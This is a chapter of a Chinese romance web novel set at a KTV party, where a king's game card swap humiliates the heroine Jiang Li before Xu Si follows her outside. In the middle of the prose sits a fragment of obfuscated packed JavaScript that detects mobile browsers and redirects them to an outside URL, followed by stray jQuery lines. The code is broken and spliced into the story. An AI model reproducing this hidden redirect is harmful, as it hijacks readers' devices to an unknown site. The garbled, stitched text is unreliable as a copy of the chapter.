5. Chapter 05

门开的一瞬间,原本嘈杂的包厢安静下来。


头顶上的氛围灯还在旋转,五彩的灯光闪过每一个人,停在姜梨呆滞的脸上。


看见突然出现的许肆,姜梨呼吸彻底乱了。


许肆眼皮微垂,视线略过姜梨的脸,向下,触及她雾霾蓝的卫衣时,悬停了两秒。


最后,缓慢地,落在了那两只十指相扣的手上。


原本就没有温度的眸色似乎更暗了。


姜梨顺着他的视线,低头看。发现手还被关玉韬握着,她瞳孔骤缩,迅速抽出来。


这动作惊动关玉韬,他不明所以看向她,似乎想提醒她,他们的指令还没做完。


“许肆你来了。”


阮念念惊喜喊着,越过姜梨,小跑到许肆身边。


见他没理会,她试探着去扯他袖子,“你来这边坐好不好?我特意给你留了位置。”


许肆收回视线,没拒绝,任由她拉着往卡座走。


阮念念的座位在里面,要想进去,必须路过姜梨。


过道不算窄,侧个身人就能过去。阮念念身材娇小,过得很轻松。


她身后的人却没动。


高大的影子垂落在姜梨身上,她不抬头,也知道是谁。


似曾相识的味道从头顶传来,还掺带着外面的寒气,一点点将她包裹。


纤细的手指在袖子里不自觉收紧。


阮念念咬唇,看看许肆,再看看姜梨,忍不住小声提醒:“许肆过不去,阿梨你让一下。”


姜梨屏住呼吸,往旁边侧了侧腿。


过道一下变得更宽敞了。


她垂着眼,微颤的视线里,那两条长腿终于舍得迈开,裤腿轻轻摩擦过她的膝盖,带起她的裙摆,微微摇晃。


人都落了座,她还在发愣。


似是蚂蚁啃食的酥麻感从膝盖传来,不断折磨着她的心脏。


许肆的突然出现,将所有人的注意力都吸引了过去。至于姜梨的指令做没做完,无人在意。


“肆哥不仗义啊!我打电话,你不来。怎么阮念念一叫,你就来了!”


“这么晚才来,罚酒,必须罚酒!”


社长嚷嚷着倒酒,啤酒泡沫溢出,倒了满桌。他不在乎,抄起酒杯往许肆跟前送。


许肆没接,窝在沙发卡座上,要笑不笑瞟着他,“我今天要是就不喝呢?”


语气很欠,就差把“你能把我怎么着”怼他脸上了。


“肆哥你这……你好歹给我个面子啊!”社长叫屈。


其他人也跟着劝酒。


阮念念急了,抢过酒杯,弱弱说:“许肆今晚真的不能再喝了,这杯实在要喝,我替他喝行吗?”


听见阮念念要替许肆喝酒,人呼啦全挤到卡座看热闹,连正唱在兴头上的人都撂了麦克风。


涌过来的人太多,不知道是谁,没长眼。姜梨的肩膀被狠狠撞开,眼瞧着人失去平衡,要往地上倒,身边的人急忙扶了她一把。


她坐稳回头,看见是关玉韬。


她低声道谢。


关玉韬揽着她肩的手却没放,低头俯在她耳边,继续询问她有没有事。


不巧,不远处的男人余光这时扫了过来。


看清两人动作,他一滞,下颌线一寸寸收紧。


姜梨又跟关玉韬道了遍谢,拉开两人距离后,听见园子在兴奋的尖叫。


她疑惑看过去。


在周围人的怂恿下,阮念念眼一闭,把酒杯送到嘴边。正准备喝,被一只骨节分明的手一把夺下。


是许肆。


不给所有人反应时间,他仰头灌下。


光影交错,勾勒他侧脸棱角分明的轮廓。


喉结上下滚动,一滴小麦色液体从嘴角滑下,顺着紧绷的脖颈肌肉,流到衣领深处。


液体眨眼见底,酒杯被反扣在桌上。


拇指抹去嘴角残液,他懒洋洋靠回椅背,“这下你们满意了?”


社长兴奋到跳起来,“咱们肆哥这叫什么,冲冠一怒为红颜!”


“那咱们以后是不是要叫念念小嫂子了?”


大家坏笑着互相对视一眼,哄笑成一团。


姜梨垂下眼帘,莫名的疲惫从胸口传来。


她有点想走了。


“什么小嫂……”阮念念羞得说不下去,“求你们不要再乱叫了。”


她又转头跟许肆解释:“他们都是开玩笑的,你别当真。你没来之前,我们在玩国王游戏,可好玩了。连第一次来的阿梨都玩得特别开心。你要不要玩?”


突然被点名,姜梨眼皮一跳,起身本要走,又悄然坐了回去。


她穿过人群望许肆。


他夹了根烟在点,缥缈的白雾中,眸色晦暗不明。


他鼻腔里发出一声哼笑,“这么好玩?那我倒要看看多有意思。”


社长就等着他这句话。张罗继续玩的同时,他还特意把人重新打散了坐,说是怕作弊。


姜梨的新座位被分到了阮念念旁边,许肆在她们对面。


因为许肆的加入,指令明显跟之前小孩子过家家不一样了,是越玩越大。


园子今晚运气爆棚,在连续当了三次国王后,重新抽牌,再次准确无误抽中了王牌。


连续四次国王榨干了她的灵感,她绞尽脑汁也想不出一条指令。


社长看不过去,附耳说了两句,她眼睛骤亮。


“红桃j亲吻红桃k的脖子。”她顿了一下,环视全场,坏笑:“并种颗草莓。”


听清指令,许肆笑骂了声艹,手里的纸牌被扔在了桌上。


是红桃k。


卡座一阵骚动。


“我不是红桃j,你是吗?”


“我也不是。”


“那是谁?”


阮念念紧张的环场一圈,大家看牌时的表情都是同样的失望。


那就只剩下……


她不情不愿转头看向姜梨。


姜梨捏着纸牌,试探着掀开一角,小巧又鲜艳的j出现在她视线里。


与红桃j同时出现的,还有阮念念的声音。


“阿梨,我们换牌吧。”


她不由分说,伸手就去扯那张牌。


姜梨反应也快,紧紧捏住,看着她没说话。


阮念念忽闪着无辜的眼睛,继续软声劝:“阿梨你不是不想玩这个游戏吗?正好我可以替你。”


姜梨还是没松力。


有人开始往她们这儿看了,阮念念有点着急,语速加快:“如果许肆知道红桃j是你,他会高兴吗?”


姜梨一怔,手指的力跟着卸了。红桃j被趁机抽走,另一张牌强行塞了进来。


阮念念弯唇,笑容还没等绽放,社长忽然指着她大喊:


“哎哎哎!干什么呢!你们怎么还换牌呢!”


阮念念瞬间僵硬。


所有人包括许肆,目光齐刷刷投了过来,聚焦在她身上。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024100|162222||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


手里抢来的那张红桃j,仿佛被这些意味不明的目光点着了火,烫得她拿不住。


她不敢去看许肆的表情,一张脸惨白到近乎透明。


怎么办?怎么办?怎么办?


短暂的失神后,她的视线突然聚焦。她怯生生开口:“是阿梨不想要,硬塞给我的。”


姜梨脑袋嗡得一下,盯着她,嘴唇在抖:“你说什么?”


阮念念没看她,埋低脑袋,将那张红桃j小心翼翼放在桌上。


“对不起。”


微弱的声线里带了哭腔。


也不知道是跟谁在道歉。


园子见苗头不对,立马出来打圆场:“你也没提前说不能换啊!我们就换怎么了!”


“对啊,而且这个指令是要跟……”关玉韬要说什么,看了眼许肆,又转了话锋:“姜梨怎么说也是个女孩子,不愿意很正常。”


社长被骂得满腹委屈:“哪有你们这么玩游戏的,还能不能玩得起了!”


迟迟没有动作的许肆,听见这话,终于动了。


他起身拉过烟灰缸,没燃多少的烟按在里面,一点点用力掐灭。


“我还以为多好玩呢,没意思,不玩了。”


社长急了,“肆哥你怎么也玩赖啊!”


“有意见?”许肆掀起眼皮,睨了他一眼,“给我憋着。”


社长跟泄漏了气的气球似的,彻底瘪了。但他还是忍不住嘟囔:“我看你是成心只想跟阮念念玩,没玩成才觉得没意思,撂挑子不玩的吧。”


姜梨闻言一震,耳边忽然又回响起阮念念那句话:


如果许肆知道红桃j是你,他会高兴吗?


想要辩解的话到了嘴边,又都咽了回去。


谁在乎呢?


她鼻腔发酸,眼睫快速眨动几下,沉得像是有什么东西要掉下来。


为了压下去作乱的情绪,她胡乱从桌上抓了杯,也不知道里面是什么液体,就往嘴里灌。


园子瞥见,惊呼提醒:“阿梨那不是水,是伏特加!”


姜梨停住,舌头这才反应过味来,辛辣卷着苦涩充斥在口腔里,烧得嗓子眼里都火辣辣的。


“我出去透透风。”


她胡乱扯了个理由,起身往外走。


许肆没有任何反应,他神色倦懒的靠在椅背,手上拎着个玻璃酒杯,漫无目的地晃荡着。


对于包厢内要少个谁,他似乎没什么兴趣。


包厢门被打开,很快又合上了。


游戏虽然潦草收尾,但欢闹声继续。有人在摇色子,有人又开始唱歌。


头顶的灯光时明时暗,包厢门因为惯性还在摇摆。


一下,一下。


幅度越来越小。


即将彻底关合时,许肆起身,抓起桌上的烟盒往外走。


“肆哥你去哪?”


“抽烟。”


ktv的消防通道在室外,没什么人。


姜梨躲在这儿,那些见不得光的情绪才得以发泄。


她很清楚,在心脏处密密麻麻聚集的东西是什么。


是丑陋的嫉妒。


或许今晚她来,本身就是个错误的决定。


她吸了吸泛红的鼻子,要走,肩头忽然一沉,有外套披了上来。


温热将她包裹,连同那颗躁动不安的心也被安抚。


她缓慢回头,看清身后人模样,整个人定在原地。


“你……怎么出来了?”